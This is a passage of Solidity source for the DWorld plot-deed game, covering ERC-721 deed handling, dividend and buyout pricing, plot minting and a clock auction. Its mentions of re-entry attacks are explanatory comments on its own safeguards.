totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { result[resultIndex] = identifier; resultIndex++; } } return result; } } /// @notice Returns a deed identifier of the owner at the given index. /// @param _owner The address of the owner we want to get a deed for. /// @param _index The index of the deed we want. function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { // The index should be valid. require(_index < countOfDeedsByOwner(_owner)); // Loop through all plots, accounting the number of plots of the owner we've seen. uint256 seen = 0; uint256 totalDeeds = countOfDeeds(); for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { if (seen == _index) { return identifier; } seen++; } } } /// @notice Returns an (off-chain) metadata url for the given deed. /// @param _deedId The identifier of the deed to get the metadata /// url for. /// @dev Implementation of optional ERC-721 functionality. function deedUri(uint256 _deedId) external pure returns (string uri) { require(validIdentifier(_deedId)); var (x, y) = identifierToCoordinate(_deedId); // Maximum coordinate length in decimals is 5 (65535) uri = "https://dworld.io/plot/xxxxx/xxxxx"; bytes memory _uri = bytes(uri); for (uint256 i = 0; i < 5; i++) { _uri[27 - i] = byte(48 + (x / 10 ** i) % 10); _uri[33 - i] = byte(48 + (y / 10 ** i) % 10); } } } /// @dev Holds functionality for finance related to plots. contract DWorldFinance is DWorldDeed { /// Total amount of Ether yet to be paid to auction beneficiaries. uint256 public outstandingEther = 0 ether; /// Amount of Ether yet to be paid per beneficiary. mapping (address => uint256) public addressToEtherOwed; /// Base price for unclaimed plots. uint256 public unclaimedPlotPrice = 0.0125 ether; /// Dividend per plot surrounding a new claim, in 1/1000th of percentages /// of the base unclaimed plot price. uint256 public claimDividendPercentage = 50000; /// Percentage of the buyout price that goes towards dividends. uint256 public buyoutDividendPercentage = 5000; /// Buyout fee in 1/1000th of a percentage. uint256 public buyoutFeePercentage = 3500; /// Number of free claims per address. mapping (address => uint256) freeClaimAllowance; /// Initial price paid for a plot. mapping (uint256 => uint256) public initialPricePaid; /// Current plot price. mapping (uint256 => uint256) public identifierToBuyoutPrice; /// Boolean indicating whether the plot has been bought out at least once. mapping (uint256 => bool) identifierToBoughtOutOnce; /// @dev Event fired when dividend is paid for a new plot claim. event ClaimDividend(address indexed from, address indexed to, uint256 deedIdFrom, uint256 indexed deedIdTo, uint256 dividend); /// @dev Event fired when a buyout is performed. event Buyout(address indexed buyer, address indexed seller, uint256 indexed deedId, uint256 winnings, uint256 totalCost, uint256 newPrice); /// @dev Event fired when dividend is paid for a buyout. event BuyoutDividend(address indexed from, address indexed to, uint256 deedIdFrom, uint256 indexed deedIdTo, uint256 dividend); /// @dev Event fired when the buyout price is manually changed for a plot. event SetBuyoutPrice(uint256 indexed deedId, uint256 newPrice); /// @dev The time after which buyouts will be enabled. Set in the DWorldCore constructor. uint256 public buyoutsEnabledFromTimestamp; /// @notice Sets the new price for unclaimed plots. /// @param _unclaimedPlotPrice The new price for unclaimed plots. function setUnclaimedPlotPrice(uint256 _unclaimedPlotPrice) external onlyCFO { unclaimedPlotPrice = _unclaimedPlotPrice; } /// @notice Sets the new dividend percentage for unclaimed plots. /// @param _claimDividendPercentage The new dividend percentage for unclaimed plots. function setClaimDividendPercentage(uint256 _claimDividendPercentage) external onlyCFO { // Claim dividend percentage must be 10% at the least. // Claim dividend percentage may be 100% at the most. require(10000 <= _claimDividendPercentage && _claimDividendPercentage <= 100000); claimDividendPercentage = _claimDividendPercentage; } /// @notice Sets the new dividend percentage for buyouts. /// @param _buyoutDividendPercentage The new dividend percentage for buyouts. function setBuyoutDividendPercentage(uint256 _buyoutDividendPercentage) external onlyCFO { // Buyout dividend must be 2% at the least. // Buyout dividend percentage may be 12.5% at the most. require(2000 <= _buyoutDividendPercentage && _buyoutDividendPercentage <= 12500); buyoutDividendPercentage = _buyoutDividendPercentage; } /// @notice Sets the new fee percentage for buyouts. /// @param _buyoutFeePercentage The new fee percentage for buyouts. function setBuyoutFeePercentage(uint256 _buyoutFeePercentage) external onlyCFO { // Buyout fee may be 5% at the most. require(0 <= _buyoutFeePercentage && _buyoutFeePercentage <= 5000); buyoutFeePercentage = _buyoutFeePercentage; } /// @notice The claim dividend to be paid for each adjacent plot, and /// as a flat dividend for each buyout. function claimDividend() public view returns (uint256) { return unclaimedPlotPrice.mul(claimDividendPercentage).div(100000); } /// @notice Set the free claim allowance for an address. /// @param addr The address to set the free claim allowance for. /// @param allowance The free claim allowance to set. function setFreeClaimAllowance(address addr, uint256 allowance) external onlyCFO { freeClaimAllowance[addr] = allowance; } /// @notice Get the free claim allowance of an address. /// @param addr The address to get the free claim allowance of. function freeClaimAllowanceOf(address addr) external view returns (uint256) { return freeClaimAllowance[addr]; } /// @dev Assign balance to an account. /// @param addr The address to assign balance to. /// @param amount The amount to assign. function _assignBalance(address addr, uint256 amount) internal { addressToEtherOwed[addr] = addressToEtherOwed[addr].add(amount); outstandingEther = outstandingEther.add(amount); } /// @dev Find the _claimed_ plots surrounding a plot. /// @param _deedId The identifier of the plot to get the surrounding plots for. function _claimedSurroundingPlots(uint256 _deedId) internal view returns (uint256[] memory) { var (x, y) = identifierToCoordinate(_deedId); // Find all claimed surrounding plots. uint256 claimed = 0; // Create memory buffer capable of holding all plots. uint256[] memory _plots = new uint256[](8); // Loop through all neighbors. for (int256 dx = -1; dx <= 1; dx++) { for (int256 dy = -1; dy <= 1; dy++) { if (dx == 0 && dy == 0) { // Skip the center (i.e., the plot itself). continue; } // Get the coordinates of this neighboring identifier. uint256 neighborIdentifier = coordinateToIdentifier( uint256(int256(x) + dx) % 65536, uint256(int256(y) + dy) % 65536 ); if (identifierToOwner[neighborIdentifier] != 0x0) { _plots[claimed] = neighborIdentifier; claimed++; } } } // Memory arrays cannot be resized, so copy all // plots from the buffer to the plot array. uint256[] memory plots = new uint256[](claimed); for (uint256 i = 0; i < claimed; i++) { plots[i] = _plots[i]; } return plots; } /// @dev Assign claim dividend to an address. /// @param _from The address who paid the dividend. /// @param _to The dividend beneficiary. /// @param _deedIdFrom The identifier of the deed the dividend is being paid for. /// @param _deedIdTo The identifier of the deed the dividend is being paid to. function _assignClaimDividend(address _from, address _to, uint256 _deedIdFrom, uint256 _deedIdTo) internal { uint256 _claimDividend = claimDividend(); // Trigger event. ClaimDividend(_from, _to, _deedIdFrom, _deedIdTo, _claimDividend); // Assign the dividend. _assignBalance(_to, _claimDividend); } /// @dev Calculate and assign the dividend payable for the new plot claim. /// A new claim pays dividends to all existing surrounding plots. /// @param _deedId The identifier of the new plot to calculate and assign dividends for. /// Assumed to be valid. function _calculateAndAssignClaimDividends(uint256 _deedId) internal returns (uint256 totalClaimDividend) { // Get existing surrounding plots. uint256[] memory claimedSurroundingPlots = _claimedSurroundingPlots(_deedId); // Keep track of the claim dividend. uint256 _claimDividend = claimDividend(); totalClaimDividend = 0; // Assign claim dividend. for (uint256 i = 0; i < claimedSurroundingPlots.length; i++) { if (identifierToOwner[claimedSurroundingPlots[i]] != msg.sender) { totalClaimDividend = totalClaimDividend.add(_claimDividend); _assignClaimDividend(msg.sender, identifierToOwner[claimedSurroundingPlots[i]], _deedId, claimedSurroundingPlots[i]); } } } /// @dev Calculate the next buyout price given the current total buyout cost. /// @param totalCost The current total buyout cost. function nextBuyoutPrice(uint256 totalCost) public pure returns (uint256) { if (totalCost < 0.05 ether) { return totalCost * 2; } else if (totalCost < 0.2 ether) { return totalCost * 170 / 100; // * 1.7 } else if (totalCost < 0.5 ether) { return totalCost * 150 / 100; // * 1.5 } else { return totalCost.mul(125).div(100); // * 1.25 } } /// @notice Get the buyout cost for a given plot. /// @param _deedId The identifier of the plot to get the buyout cost for. function buyoutCost(uint256 _deedId) external view returns (uint256) { // The current buyout price. uint256 price = identifierToBuyoutPrice[_deedId]; // Get existing surrounding plots. uint256[] memory claimedSurroundingPlots = _claimedSurroundingPlots(_deedId); // The total cost is the price plus flat rate dividends based on claim dividends. uint256 flatDividends = claimDividend().mul(claimedSurroundingPlots.length); return price.add(flatDividends); } /// @dev Assign the proceeds of the buyout. /// @param _deedId The identifier of the plot that is being bought out. function _assignBuyoutProceeds( address currentOwner, uint256 _deedId, uint256[] memory claimedSurroundingPlots, uint256 currentOwnerWinnings, uint256 totalDividendPerBeneficiary, uint256 totalCost ) internal { // Calculate and assign the current owner's winnings. Buyout(msg.sender, currentOwner, _deedId, currentOwnerWinnings, totalCost, nextBuyoutPrice(totalCost)); _assignBalance(currentOwner, currentOwnerWinnings); // Assign dividends to owners of surrounding plots. for (uint256 i = 0; i < claimedSurroundingPlots.length; i++) { address beneficiary = identifierToOwner[claimedSurroundingPlots[i]]; BuyoutDividend(msg.sender, beneficiary, _deedId, claimedSurroundingPlots[i], totalDividendPerBeneficiary); _assignBalance(beneficiary, totalDividendPerBeneficiary); } } /// @dev Calculate and assign the proceeds from the buyout. /// @param currentOwner The current owner of the plot that is being bought out. /// @param _deedId The identifier of the plot that is being bought out. /// @param claimedSurroundingPlots The surrounding plots that have been claimed. function _calculateAndAssignBuyoutProceeds(address currentOwner, uint256 _deedId, uint256[] memory claimedSurroundingPlots) internal returns (uint256 totalCost) { // The current price. uint256 price = identifierToBuyoutPrice[_deedId]; // The total cost is the price plus flat rate dividends based on claim dividends. uint256 flatDividends = claimDividend().mul(claimedSurroundingPlots.length); totalCost = price.add(flatDividends); // Calculate the variable dividends based on the buyout price // (only to be paid if there are surrounding plots). uint256 variableDividends = price.mul(buyoutDividendPercentage).div(100000); // Calculate fees. uint256 fee = price.mul(buyoutFeePercentage).div(100000); // Calculate and assign buyout proceeds. uint256 currentOwnerWinnings = price.sub(fee); uint256 totalDividendPerBeneficiary; if (claimedSurroundingPlots.length > 0) { // If there are surrounding plots, variable dividend is to be paid // based on the buyout price.. currentOwnerWinnings = currentOwnerWinnings.sub(variableDividends); // Calculate the dividend per surrounding plot. totalDividendPerBeneficiary = flatDividends.add(variableDividends) / claimedSurroundingPlots.length; } _assignBuyoutProceeds( currentOwner, _deedId, claimedSurroundingPlots, currentOwnerWinnings, totalDividendPerBeneficiary, totalCost ); } /// @notice Buy the current owner out of the plot. function buyout(uint256 _deedId) external payable whenNotPaused { buyoutWithData(_deedId, "", "", "", ""); } /// @notice Buy the current owner out of the plot. function buyoutWithData(uint256 _deedId, string name, string description, string imageUrl, string infoUrl) public payable whenNotPaused { // Buyouts must be enabled. require(buyoutsEnabledFromTimestamp <= block.timestamp); address currentOwner = identifierToOwner[_deedId]; // The plot must be owned before it can be bought out. require(currentOwner != 0x0); // Get existing surrounding plots. uint256[] memory claimedSurroundingPlots = _claimedSurroundingPlots(_deedId); // Assign the buyout proceeds and retrieve the total cost. uint256 totalCost = _calculateAndAssignBuyoutProceeds(currentOwner, _deedId, claimedSurroundingPlots); // Ensure the message has enough value. require(msg.value >= totalCost); // Transfer the plot. _transfer(currentOwner, msg.sender, _deedId); // Set the plot data SetData(_deedId, name, description, imageUrl, infoUrl); // Calculate and set the new plot price. identifierToBuyoutPrice[_deedId] = nextBuyoutPrice(totalCost); // Indicate the plot has been bought out at least once if (!identifierToBoughtOutOnce[_deedId]) { identifierToBoughtOutOnce[_deedId] = true; } // Calculate the excess Ether sent. // msg.value is greater than or equal to totalCost, // so this cannot underflow. uint256 excess = msg.value - totalCost; if (excess > 0) { // Refund any excess Ether (not susceptible to re-entry attack, as // the owner is assigned before the transfer takes place). msg.sender.transfer(excess); } } /// @notice Calculate the maximum initial buyout price for a plot. /// @param _deedId The identifier of the plot to get the maximum initial buyout price for. function maximumInitialBuyoutPrice(uint256 _deedId) public view returns (uint256) { // The initial buyout price can be set to 4x the initial plot price // (or 100x for the original pre-migration plots). uint256 mul = 4; if (identifierIsOriginal[_deedId]) { mul = 100; } return initialPricePaid[_deedId].mul(mul); } /// @notice Test whether a buyout price is valid. /// @param _deedId The identifier of the plot to test the buyout price for. /// @param price The buyout price to test. function validInitialBuyoutPrice(uint256 _deedId, uint256 price) public view returns (bool) { return (price >= unclaimedPlotPrice && price <= maximumInitialBuyoutPrice(_deedId)); } /// @notice Manually set the initial buyout price of a plot. /// @param _deedId The identifier of the plot to set the buyout price for. /// @param price The value to set the buyout price to. function setInitialBuyoutPrice(uint256 _deedId, uint256 price) public whenNotPaused { // One can only set the buyout price of their own plots. require(_owns(msg.sender, _deedId)); // The initial buyout price can only be set if the plot has never been bought out before. require(!identifierToBoughtOutOnce[_deedId]); // The buyout price must be valid. require(validInitialBuyoutPrice(_deedId, price)); // Set the buyout price. identifierToBuyoutPrice[_deedId] = price; // Trigger the buyout price event. SetBuyoutPrice(_deedId, price); } } /// @dev Holds functionality for minting new plot deeds. contract DWorldMinting is DWorldFinance { /// @notice Buy an unclaimed plot. /// @param _deedId The unclaimed plot to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. function claimPlot(uint256 _deedId, uint256 _buyoutPrice) external payable whenNotPaused { claimPlotWithData(_deedId, _buyoutPrice, "", "", "", ""); } /// @notice Buy an unclaimed plot. /// @param _deedId The unclaimed plot to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. /// @param name The name to give the plot. /// @param description The description to add to the plot. /// @param imageUrl The image url for the plot. /// @param infoUrl The info url for the plot. function claimPlotWithData(uint256 _deedId, uint256 _buyoutPrice, string name, string description, string imageUrl, string infoUrl) public payable whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; claimPlotMultipleWithData(_deedIds, _buyoutPrice, name, description, imageUrl, infoUrl); } /// @notice Buy unclaimed plots. /// @param _deedIds The unclaimed plots to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. function claimPlotMultiple(uint256[] _deedIds, uint256 _buyoutPrice) external payable whenNotPaused { claimPlotMultipleWithData(_deedIds, _buyoutPrice, "", "", "", ""); } /// @notice Buy unclaimed plots. /// @param _deedIds The unclaimed plots to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. /// @param name The name to give the plots. /// @param description The description to add to the plots. /// @param imageUrl The image url for the plots. /// @param infoUrl The info url for the plots. function claimPlotMultipleWithData(uint256[] _deedIds, uint256 _buyoutPrice, string name, string description, string imageUrl, string infoUrl) public payable whenNotPaused { uint256 buyAmount = _deedIds.length; uint256 etherRequired; if (freeClaimAllowance[msg.sender] > 0) { // The sender has a free claim allowance. if (freeClaimAllowance[msg.sender] > buyAmount) { // Subtract from allowance. freeClaimAllowance[msg.sender] -= buyAmount; // No ether is required. etherRequired = 0; } else { uint256 freeAmount = freeClaimAllowance[msg.sender]; // The full allowance has been used. delete freeClaimAllowance[msg.sender]; // The subtraction cannot underflow, as freeAmount <= buyAmount. etherRequired = unclaimedPlotPrice.mul(buyAmount - freeAmount); } } else { // The sender does not have a free claim allowance. etherRequired = unclaimedPlotPrice.mul(buyAmount); } uint256 offset = plots.length; // Allocate additional memory for the plots array // (this is more efficient than .push-ing each individual // plot, as that requires multiple dynamic allocations). plots.length = plots.length.add(_deedIds.length); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; require(validIdentifier(_deedId)); // The plot must be unowned (a plot deed cannot be transferred to // 0x0, so once a plot is claimed it will always be owned by a // non-zero address). require(identifierToOwner[_deedId] == address(0)); // Create the plot plots[offset + i] = uint32(_deedId); // Transfer the new plot to the sender. _transfer(address(0), msg.sender, _deedId); // Set the plot data. _setPlotData(_deedId, name, description, imageUrl, infoUrl); // Calculate and assign claim dividends. uint256 claimDividends = _calculateAndAssignClaimDividends(_deedId); etherRequired = etherRequired.add(claimDividends); // Set the initial price paid for the plot. initialPricePaid[_deedId] = unclaimedPlotPrice.add(claimDividends); // Set the initial buyout price. Throws if it does not succeed. setInitialBuyoutPrice(_deedId, _buyoutPrice); } // Ensure enough ether is supplied. require(msg.value >= etherRequired); // Calculate the excess ether sent // msg.value is greater than or equal to etherRequired, // so this cannot underflow. uint256 excess = msg.value - etherRequired; if (excess > 0) { // Refund any excess ether (not susceptible to re-entry attack, as // the owner is assigned before the transfer takes place). msg.sender.transfer(excess); } } } /// @title The internal clock auction functionality. /// Inspired by CryptoKitties' clock auction contract ClockAuctionBase { // Address of the ERC721 contract this auction is linked to. ERC721 public deedContract; // Fee per successful auction in 1/1000th of a percentage. uint256 public fee; // Total amount of ether yet to be paid to auction beneficiaries. uint256 public outstandingEther = 0 ether; // Amount of ether yet to be paid per beneficiary. mapping (address => uint256) public addressToEtherOwed; /// @dev Represents a deed auction. /// Care has been taken to ensure the auction fits in /// two 256-bit words. struct Auction { address seller; uint128 startPrice; uint128 endPrice; uint64 duration; uint64 startedAt; } mapping (uint256 => Auction) identifierToAuction; // Events event AuctionCreated(address indexed seller, uint256 indexed deedId, uint256 startPrice, uint256 endPrice, uint256 duration); event AuctionSuccessful(address indexed buyer, uint256 indexed deedId, uint256 totalPrice); event AuctionCancelled(uint256 indexed deedId); /// @dev Modifier to check whether the value can be stored in a 64 bit uint. modifier fitsIn64Bits(uint256 _value) { require (_value == uint256(uint64(_value))); _; } /// @dev Modifier to check whether the value can be stored in a 128 bit uint. modifier fitsIn128Bits(uint256 _value) { require (_value == uint256(uint128(_value))); _; } function ClockAuctionBase(address _deedContractAddress, uint256 _fee) public { deedContract = ERC721(_deedContractAddress); // Contract must indicate support for ERC721 through its interface signature. require(deedContract.supportsInterface(0xda671b9b)); // Fee must be between 0 and 100%. require(0 <= _fee && _fee <= 100000); fee = _fee; } /// @dev Checks whether the given auction is active. /// @param auction The auction to check for activity. function _activeAuction(Auction storage auction) internal view returns (bool) { return auction.startedAt > 0; } /// @dev Put the deed into escrow, thereby taking ownership of it. /// @param _deedId The identifier of the deed to place into escrow. function _escrow(uint256 _deedId) internal { // Throws if the transfer fails deedContract.takeOwnership(_deedId); } /// @dev Create the auction. /// @param _deedId The identifier of the deed to create the auction for. /// @param auction The auction to create. function _createAuction(uint256 _deedId, Auction auction) internal { // Add the auction to the auction mapping. identifierToAuction[_deedId] = auction; // Trigger auction created event. AuctionCreated(auction.seller, _deedId, auction.startPrice, auction.endPrice, auction.duration); } /// @dev Bid on an auction. /// @param _buyer The address of the buyer. /// @param _value The value sent by the sender (in ether). /// @param _deedId The identifier of the deed to bid on. function _bid(address _buyer, uint256 _value, uint256 _deedId) internal { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active. require(_activeAuction(auction)); // Calculate the auction's current price. uint256 price = _currentPrice(auction); // Make sure enough funds were sent. require(_value >= price); address seller = auction.seller; if (price > 0) { uint256 totalFee = _calculateFee(price); uint256 proceeds = price - totalFee; // Assign the proceeds to the seller. // We do not send the proceeds directly, as to prevent // malicious sellers from denying auctions (and burning // the buyer's gas). _assignProceeds(seller, proceeds); } AuctionSuccessful(_buyer, _deedId, price); // The bid was won! _winBid(seller, _buyer, _deedId, price); // Remove the auction (we do this at the end, as // winBid might require some additional information // that will be removed when _removeAuction is // called. As we do not transfer funds here, we do // not have to worry about re-entry attacks. _removeAuction(_deedId); } /// @dev Perform the bid win logic (in this case: transfer the deed). /// @param _seller The address of the seller. /// @param _winner The address of the winner. /// @param _deedId The identifier of the deed. /// @param _price The price the auction was bought at. function _winBid(address _seller, address _winner, uint256 _deedId, uint256 _price) internal { _transfer(_winner, _deedId); } /// @dev Cancel an auction. /// @param _deedId The identifier of the deed for which the auction should be cancelled. /// @param auction The auction to cancel. function _cancelAuction(uint256 _deedId, Auction auction) internal { // Remove the auction _removeAuction(_deedId); // Transfer the deed back to the seller _transfer(auction.seller, _deedId); // Trigger auction cancelled event. AuctionCancelled(_deedId); } /// @dev Remove an auction. /// @param _deedId The identifier of the deed for which the auction should be removed. function _removeAuction(uint256 _deedId) internal { delete identifierToAuction[_deedId]; } /// @dev Transfer a deed owned by this contract to another address. /// @param _to The address to transfer the deed to. /// @param _deedId The identifier of the deed. function _transfer(address _to, uint256 _deedId) internal { // Throws if the transfer fails deedContract.transfer(_to, _deedId); } /// @dev Assign proceeds to an address. /// @param _to The address to assign proceeds to. /// @param _value The proceeds to assign. function _assignProceeds(address _to, uint256 _value) internal { outstandingEther += _value; addressToEtherOwed[_to] += _value; } /// @dev Calculate the current price of an auction. function _currentPrice(Auction storage _auction) internal view returns (uint256) { require(now >= _auction.startedAt); uint256 secondsPassed = now - _auction.startedAt; if (secondsPassed >= _auction.duration) { return _auction.endPrice; } else { // Negative if the end price is higher than the start price! int256 totalPriceChange = int256(_auction.endPrice) - int256(_auction.startPrice); // Calculate the current price based on the total change over the entire // auction duration, and the amount of time passed since the start of the // auction. int256 currentPriceChange = totalPriceChange * int256(secondsPassed) / int256(_auction.duration); // Calculate the final price. Note this once again // is representable by a uint256, as the price can // never be negative. int256 price = int256(_auction.startPrice) + currentPriceChange; // This never throws. assert(price >= 0); return uint256(price); } } /// @dev Calculate the fee for a given price. /// @param _price The price to calculate the fee for. function _calculateFee(uint256 _price) internal view returns (uint256) { // _price is guaranteed to fit in a uint128 due to the createAuction entry // modifiers, so this cannot overflow. return _price * fee / 100000; } } contract ClockAuction is ClockAuctionBase, Pausable { function ClockAuction(address _deedContractAddress, uint256 _fee) ClockAuctionBase(_deedContractAddress, _fee) public {} /// @notice Update the auction fee. /// @param _fee The new fee. function setFee(uint256 _fee) external onlyOwner { require(0 <= _fee && _fee <= 100000); fee = _fee; } /// @notice Get the auction for the given deed. /// @param _deedId The identifier of the deed to get the auction for. /// @dev Throws if there is no auction for the given deed. function getAuction(uint256 _deedId) external view returns ( address seller, uint256 startPrice, uint256 endPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active require(_activeAuction(auction)); return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.startedAt ); } /// @notice Create an auction for a given deed. /// Must previously have been given approval to take ownership of the deed. /// @param _deedId The identifier of the deed to create an auction for. /// @param _startPrice The starting price of the auction. /// @param _endPrice The ending price of the auction. /// @param _duration The duration in seconds of the dynamic pricing part of the auction. function createAuction(uint256 _deedId, uint256 _startPrice, uint256 _endPrice, uint256 _duration) public fitsIn128Bits(_startPrice) fitsIn128Bits(_endPrice) fitsIn64Bits(_duration) whenNotPaused { // Get the owner of the deed to be auctioned address deedOwner = deedContract.ownerOf(_deedId); // Caller must either be the deed contract or the owner of the deed // to prevent abuse. require( msg.sender == address(deedContract) || msg.sender == deedOwner ); // The duration of the auction must be at least 60 seconds. require(_duration >= 60); // Throws if placing the deed in escrow fails (the contract requires // transfer approval prior to creating the auction). _escrow(_deedId); // Auction struct Auction memory auction = Auction( deedOwner, uint128(_startPrice), uint128(_endPrice), uint64(_duration), uint64(now) ); _createAuction(_deedId, auction); } /// @notice Cancel an auction /// @param _deedId The identifier of the deed to cancel the auction for. function cancelAuction(uint256 _deedId) external whenNotPaused { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active. require(_activeAuction(auction)); // The auction can only be cancelled by the seller require(msg.sender == auction.seller); _cancelAuction(_deedId, auction); } /// @notice Bid on an auction. /// @param _deedId The identifier of the deed to bid on. function bid(uint256 _deedId) external payable whenNotPaused { // Throws if the bid does not succeed. _bid(msg.sender, msg.value, _deedId); } /// @dev Returns the current price of an auction. /// @param _deedId The identifier of the deed to get the currency price for. function getCurrentPrice(uint256 _deedId) external view returns (uint256) { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active. require(_activeAuction(auction)); return _currentPrice(auction); } /// @notice Withdraw ether owed to a beneficiary. /// @param beneficiary The address to withdraw the auction balance for. function withdrawAuctionBalance(address beneficiary) external { // The sender must either be the beneficiary or the core deed contract. require( msg.sender == beneficiary || msg.sender == address(deedContract) ); uint256 etherOwed = addressToEtherOwed[beneficiary]; // Ensure ether is owed to the beneficiary. require(etherOwed > 0); // Set ether owed to 0 delete addressToEtherOwed[beneficiary]; // Subtract from total outstanding balance. etherOwed is guaranteed // to be less than or equal to outstandingEther, so this cannot // underflow. outstandingEther -= etherOwed; // Transfer ether owed to the beneficiary (not susceptible to re-entry // attack, as the ether owed is set to 0 before the transfer takes place). beneficiary.transfer(etherOwed); } /// @notice Withdraw (unowed) contract balance. function withdrawFreeBalance() external { // Calculate the free (unowed) balance. This never underflows, as // outstandingEther is guaranteed to be less than or equal to the // contract balance. uint256 freeBalance = this.balance - outstandingEther; address deedContractAddress = address(deedContract); require( msg.sender == owner || msg.sender == deedContractAddress ); deedContractAddress.transfer(freeBalance); } } /// @dev Defines base data structures for DWorld. contract OriginalDWorldBase is DWorldAccessControl { using SafeMath for uint256; /// @dev All minted plots (array of plot identifiers). There are /// 2^16 * 2^16 possible plots (covering the entire world), thus /// 32 bits are required. This fits in a uint32. Storing /// the identifiers as uint32 instead of uint256 makes storage /// cheaper. (The impact of this in mappings is less noticeable, /// and using uint32 in the mappings below actually *increases* /// gas cost for minting). uint32[] public plots; mapping (uint256 => address) identifierToOwner; mapping (uint256 => address) identifierToApproved; mapping (address => uint256) ownershipDeedCount; /// @dev Event fired when a plot's data are changed. The plot /// data are not stored in the contract directly, instead the /// data are logged to the block. This gives significant /// reductions in gas requirements (~75k for minting with data /// instead of ~180k). However, it also means plot data are /// not available from *within* other contracts. event SetData(uint256 indexed deedId, string name, string description, string imageUrl, string infoUrl); /// @notice Get all minted plots. function getAllPlots() external view returns(uint32[]) { return plots; } /// @dev Represent a 2D coordinate as a single uint. /// @param x The x-coordinate. /// @param y The y-coordinate. function coordinateToIdentifier(uint256 x, uint256 y) public pure returns(uint256) { require(validCoordinate(x, y)); return (y << 16) + x; } /// @dev Turn a single uint representation of a coordinate into its x and y parts. /// @param identifier The uint representation of a coordinate. function identifierToCoordinate(uint256 identifier) public pure returns(uint256 x, uint256 y) { require(validIdentifier(identifier)); y = identifier >> 16; x = identifier - (y << 16); } /// @dev Test whether the coordinate is valid. /// @param x The x-part of the coordinate to test. /// @param y The y-part of the coordinate to test. function validCoordinate(uint256 x, uint256 y) public pure returns(bool) { return x < 65536 && y < 65536; // 2^16 } /// @dev Test whether an identifier is valid. /// @param identifier The identifier to test. function validIdentifier(uint256 identifier) public pure returns(bool) { return identifier < 4294967296; // 2^16 * 2^16 } /// @dev Set a plot's data. /// @param identifier The identifier of the plot to set data for. function _setPlotData(uint256 identifier, string name, string description, string imageUrl, string infoUrl) internal { SetData(identifier, name, description, imageUrl, infoUrl); } } /// @dev Holds deed functionality such as approving and transferring. Implements ERC721. contract OriginalDWorldDeed is OriginalDWorldBase, ERC721, ERC721Metadata { /// @notice Name of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function name() public pure returns (string _deedName) { _deedName = "DWorld Plots"; } /// @notice Symbol of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function symbol() public pure returns (string _deedSymbol) { _deedSymbol = "DWP"; } /// @dev ERC-165 (draft) interface signature for itself bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7 bytes4(keccak256('supportsInterface(bytes4)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('countOfDeeds()')) ^ bytes4(keccak256('countOfDeedsByOwner(address)')) ^ bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11 bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('deedUri(uint256)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. /// (ERC-165 and ERC-721.) function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return ( (_interfaceID == INTERFACE_SIGNATURE_ERC165) || (_interfaceID == INTERFACE_SIGNATURE_ERC721) || (_interfaceID == INTERFACE_SIGNATURE_ERC721Metadata) ); } /// @dev Checks if a given address owns a particular plot. /// @param _owner The address of the owner to check for. /// @param _deedId The plot identifier to check for. function _owns(address _owner, uint256 _deedId) internal view returns (bool) { return identifierToOwner[_deedId] == _owner; } /// @dev Approve a given address to take ownership of a deed. /// @param _from The address approving taking ownership. /// @param _to The address to approve taking ownership. /// @param _deedId The identifier of the deed to give approval for. function _approve(address _from, address _to, uint256 _deedId) internal { identifierToApproved[_deedId] = _to; // Emit event. Approval(_from, _to, _deedId); } /// @dev Checks if a given address has approval to take ownership of a deed. /// @param _claimant The address of the claimant to check for. /// @param _deedId The identifier of the deed to check for. function _approvedFor(address _claimant, uint256 _deedId) internal view returns (bool) { return identifierToApproved[_deedId] == _claimant; } /// @dev Assigns ownership of a specific deed to an address. /// @param _from The address to transfer the deed from. /// @param _to The address to transfer the deed to. /// @param _deedId The identifier of the deed to transfer. function _transfer(address _from, address _to, uint256 _deedId) internal { // The number of plots is capped at 2^16 * 2^16, so this cannot // be overflowed. ownershipDeedCount[_to]++; // Transfer ownership. identifierToOwner[_deedId] = _to; // When a new deed is minted, the _from address is 0x0, but we // do not track deed ownership of 0x0. if (_from != address(0)) { ownershipDeedCount[_from]--; // Clear taking ownership approval. delete identifierToApproved[_deedId]; } // Emit the transfer event. Transfer(_from, _to, _deedId); } // ERC 721 implementation /// @notice Returns the total number of deeds currently in existence. /// @dev Required for ERC-721 compliance. function countOfDeeds() public view returns (uint256) { return plots.length; } /// @notice Returns the number of deeds owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function countOfDeedsByOwner(address _owner) public view returns (uint256) { return ownershipDeedCount[_owner]; } /// @notice Returns the address currently assigned ownership of a given deed. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _deedId) external view returns (address _owner) { _owner = identifierToOwner[_deedId]; require(_owner != address(0)); } /// @notice Approve a given address to take 